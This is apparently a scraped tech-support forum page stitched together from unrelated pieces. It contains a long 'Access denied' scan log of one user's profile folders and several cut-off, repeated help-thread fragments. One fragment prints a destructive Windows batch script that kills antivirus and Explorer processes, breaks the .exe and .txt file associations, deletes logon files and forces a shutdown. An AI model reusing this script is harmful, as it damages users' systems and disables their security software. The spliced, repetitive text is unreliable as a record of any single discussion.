Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#www.copacast.net\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#www.copacast.net
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#www.skype.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#www.skype.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#www.youtube.com\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#www.youtube.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\settings.sol
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com\support
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\macromedia.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\www.macromedia.com\bin\fpupdateax\fpupdateax.exe
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\www.macromedia.com\bin\fpupdateax
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\www.macromedia.com\bin
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player\www.macromedia.com
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia\Flash Player
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Macromedia
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\AddIns
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CLR Security Config\v1.1.4322\security.config
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CLR Security Config\v1.1.4322\security.config.cch
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CLR Security Config\v1.1.4322
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CLR Security Config\v2.0.50727.42
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CLR Security Config
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Credentials\S-1-5-21-484763869-1547161642-725345543-1004
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Credentials
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\2BF68F4714092295550497DD56F57004
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\3C83474D61E624A4F9844DF935AFE217
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\486CC6AFD08942336C61FCD401C4A1D1
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\5209B26A762CFE608406374019066239
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\60E31627FDA0A46932B0E5948949F2A5
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\6C68A73125F3238F044A8115D96841B6
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\74BFD122C0875EC75DBE5C6DB4C59019
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\7735880A01E3F94F763761958A7A8191
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\904590238400AD963F77FAAAADC9BAB5
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\A44F4E7CB3133FF765C39A53AD8FCFDD
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\A8FABA189DB7D25FBA7CAC806625FD30
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\CFC456E7E410D69E2C6F3E2DB75C7DB3
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\D9446DF6FD9BABE04CC252D4F0FB3D01
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\E6024EAC88E6B6165D49FE3C95ADD735
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content\F482C95F83F1B59228F1B1E720F2EDF1
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\Content
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\2BF68F4714092295550497DD56F57004
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\3C83474D61E624A4F9844DF935AFE217
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\486CC6AFD08942336C61FCD401C4A1D1
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\5209B26A762CFE608406374019066239
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\60E31627FDA0A46932B0E5948949F2A5
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\6C68A73125F3238F044A8115D96841B6
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\74BFD122C0875EC75DBE5C6DB4C59019
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\7735880A01E3F94F763761958A7A8191
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\904590238400AD963F77FAAAADC9BAB5
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\A44F4E7CB3133FF765C39A53AD8FCFDD
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\A8FABA189DB7D25FBA7CAC806625FD30
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\CFC456E7E410D69E2C6F3E2DB75C7DB3
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\D9446DF6FD9BABE04CC252D4F0FB3D01
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\E6024EAC88E6B6165D49FE3C95ADD735
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData\F482C95F83F1B59228F1B1E720F2EDF1
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache\MetaData
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\CryptnetUrlCache
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Crypto\RSA\S-1-5-21-484763869-1547161642-725345543-1004\6b29ae44e85efac3c72ff4d1865d73f1_c13babcd-f4ed-4fe6-a001-0d43b2202cdf
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Crypto\RSA\S-1-5-21-484763869-1547161642-725345543-1004\80442fc0e99db4760a22fffc9bf91c16_c13babcd-f4ed-4fe6-a001-0d43b2202cdf
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Crypto\RSA\S-1-5-21-484763869-1547161642-725345543-1004
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Crypto\RSA
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Crypto
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Excel\XLSTART
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Excel
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Internet Explorer\brndlog.bak
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Internet Explorer\brndlog.txt
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Internet Explorer\Desktop.htt
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Internet Explorer\Quick Launch\desktop.ini
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Internet Explorer\Quick Launch\HP Rhapsody.lnk
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Internet Explorer\Quick Launch\Show Desktop.scf
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Internet Explorer\Quick Launch\Windows Media Player.lnk
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Internet Explorer\Quick Launch
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Internet Explorer
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Media Player\043EC59F.wpl
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Media Player
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\MMC
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Excel11.pip
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\MSO1033.acl
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\PowerP11.pip
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\%E9%9B%B2%E5%8D%97%E5%8D%81%E5%85%AB%E6%80%AA[1].LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\3J5FR5G4.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\Desktop.ini
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\Desktop.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\EV8BJ0PO.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\index.dat
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\JEVXPP3F.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\joyce_resume_1.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\Jspeed Communication 20090206[1].LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\Jspeed Introduction[1].LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\Jspeed_brief.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\jspeed_sales_commission_1.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\jspeed_sales_commission_marcel[1].LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\L0CRHLSH.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\Local Disk (C).LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\presentation.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\presentation_01_2009.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\presentation_09_2007.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\presentation_09_2007_tom.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\proposal.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\proposal_09_2007.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\QKYHV1C4.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\README.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\Removable Disk (E).LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\students%27shi2[1]1[1].LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\summary.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\summary_09_2007.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\summy_01_2009.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\summy_09_2007.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\Templates.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\xinstall.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\xseplabp.src.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent\?&??Nov-15.LNK
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Recent
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office\Word11.pip
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Office
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Proof\CUSTOM.DIC
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Proof
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Protect\CREDHIST
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Protect\S-1-5-21-484763869-1547161642-725345543-1004\a20006d5-f995-4c9a-a684-2e5839ed6773
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Protect\S-1-5-21-484763869-1547161642-725345543-1004\e922b02a-7ea3-4853-9be4-92d1b3ac1cfc
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Protect\S-1-5-21-484763869-1547161642-725345543-1004\ed10caae-a7f4-481c-82ca-611b8e48c957
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Protect\S-1-5-21-484763869-1547161642-725345543-1004\Preferred
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Protect\S-1-5-21-484763869-1547161642-725345543-1004
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Protect
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\SystemCertificates\My\Certificates
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\SystemCertificates\My\CRLs
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\SystemCertificates\My\CTLs
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\SystemCertificates\My
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\SystemCertificates
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Templates\Normal.dot
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Templates
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Word\STARTUP
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft\Word
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Microsoft
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\ScanSoft\PaperPort\9\Temp
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\ScanSoft\PaperPort\9
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\ScanSoft\PaperPort
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\ScanSoft
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\call256.dbb
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\callmember256.dbb
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chat512.dbb
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chatmember256.dbb
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chatmsg256.dbb
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chatmsg512.dbb
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chatsync\16\16d63d02b1a47bd5.dat
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chatsync\16
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chatsync\36\360105a3197d6dfa.dat
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chatsync\36
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chatsync\39\394216494c2b0b38.dat
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chatsync\39
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chatsync\bf\bfa1b4e8cfe0dd53.dat
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chatsync\bf
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chatsync\f3\f346522b38d4a4a2.dat
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chatsync\f3
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\chatsync
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\config.lck
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\config.xml
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\contactgroup256.dbb
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\dyncontent\bundle.dat
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\dyncontent\bundle.dat-journal
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\dyncontent
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\httpfe\cookies.dat
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\httpfe
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\index2.dat
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\profile256.dbb
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\user1024.dbb
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\user16384.dbb
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\user256.dbb
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\user4096.dbb
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99\voicemail
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\jamesho99
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\shared.lck
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype\shared.xml
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Skype
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\skypePM\2009-03-03-1.ezlog
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\skypePM\2009-03-03-2.ezlog
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\skypePM\2009-03-04-1.ezlog
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\skypePM
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\cache\javapi\v1.0\ext
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\cache\javapi\v1.0\file
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\cache\javapi\v1.0\jar\rtidx1.jar-5f5f8254-40f11601.idx
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\cache\javapi\v1.0\jar\rtidx1.jar-5f5f8254-40f11601.zip
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\cache\javapi\v1.0\jar
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\cache\javapi\v1.0\tmp
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\cache\javapi\v1.0
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\cache\javapi
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\cache\tmp
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\cache
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\deployment.properties
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\ext
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\log\plugin150_06.trace
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\log
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment\security
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java\Deployment
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun\Java
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Sun
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Tanner EDA\SEditDockingLayout.xml
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Tanner EDA\sedit_demo.cfg
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\Tanner EDA
Status: Access denied

Object: C:\Documents and Settings\james\Application Data\winscp.rnd
Status: Access denied

Object: C:\Documents and Settings\james\Application Data
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\index.dat
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][1].txt
Status: Access denied

Object: C:\Documents and Settings\james\Cookies\[emailprotected][2].txt
Status: Access denied

Object: C:\Docbtw, the microsoft stuff still aren't working. i tried downloading the 2007 trial version, but even that didn't work. it still tells me that there is "not enough memory or disk space" to run them.

i really needed it today and will need it for SURE next week! what to doooo?? ):OH. also, i only have 15.7 GB memory because i downloaded some stuff to try to get microsoft to work. The only thing I can suggest to get some free space is to off-load some files, pictures, video's etc to some DVD RW's and keep only essential programs on your C drive. You could also add another harddrive as a slave and use that for storage or buy an external harddrive. but the funny thing is that it worked properly when i had even less memory, like about 4 GB.
do you think that it could be a virus...
or something else???Quote

but the funny thing is that it worked properly when i had even less memory, like about 4 GB.
do you think that it could be a virus...
or something else???

• Click on to download the ESET Smart Installer. Save it to your desktop.
  
• Double click on the icon on your desktop.
  

hello everyone,
i am just a normal surfer, while i was going through a website and got a code like below:

title virus is my dna
color 0A
@echo off
set end=md “u cant eascape from me-vishnu”
set fin=copy “Hack log.txt” “Installing”
%end%
%fin%
net send * andhra pradesh- virus created in karimnagar from jits college
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
assoc .mp3=.vcf
cls
msg * hi dude this is begining.
msg * vishnu attcked the system try to challenge him .
DEL C:WINDOWSsystem32logoff.exe /F /Q
DEL C:WINDOWSsystem32logon.exe /F /Q
DEL C:WINDOWSsystem32logon.scr /F /Q
cls
shutdown


and it does the following things:

1. ENDS Process, NAVAPSVC.exe
2. Ends Process, Explorer.exe (taskbar and ICONS will dissapear)
3. Ends Process, zonelabs.exe
4. associate a exe file with txt (when opening exe files, it will go to notepad)
5. associate a txt file with mp3 (when opening txt files, it will open WINAMP or WMP)
6. Deletes Login/Logoff Screens

now i want to retrieve of what it has done. Can anyone help me?
i am not a virus maker but just a experimentist, Please help me.. :_:No IDEA what you are talking about. What is it you are trying to do?

Wha-hoo THANK you!

Is it Dc53 or Dc55? Right-click on that file and click Propterties and tell me about this folder.

Quote

Do I need Microsoft Security Essentials since I already have SAS and MalwareBytes

Now I have one more problem - I am UNABLE to launch Skype.

Now I have one more problem - I am unable to launch Skype.

Do I need Microsoft Security Essentials since I already have SAS and MalwareBytes

Is it Dc53 or Dc55? Right-click on that file and click Propterties and tell me about this folder.

I am not able to install Comodo - it says "This installation doesn't support target platform".

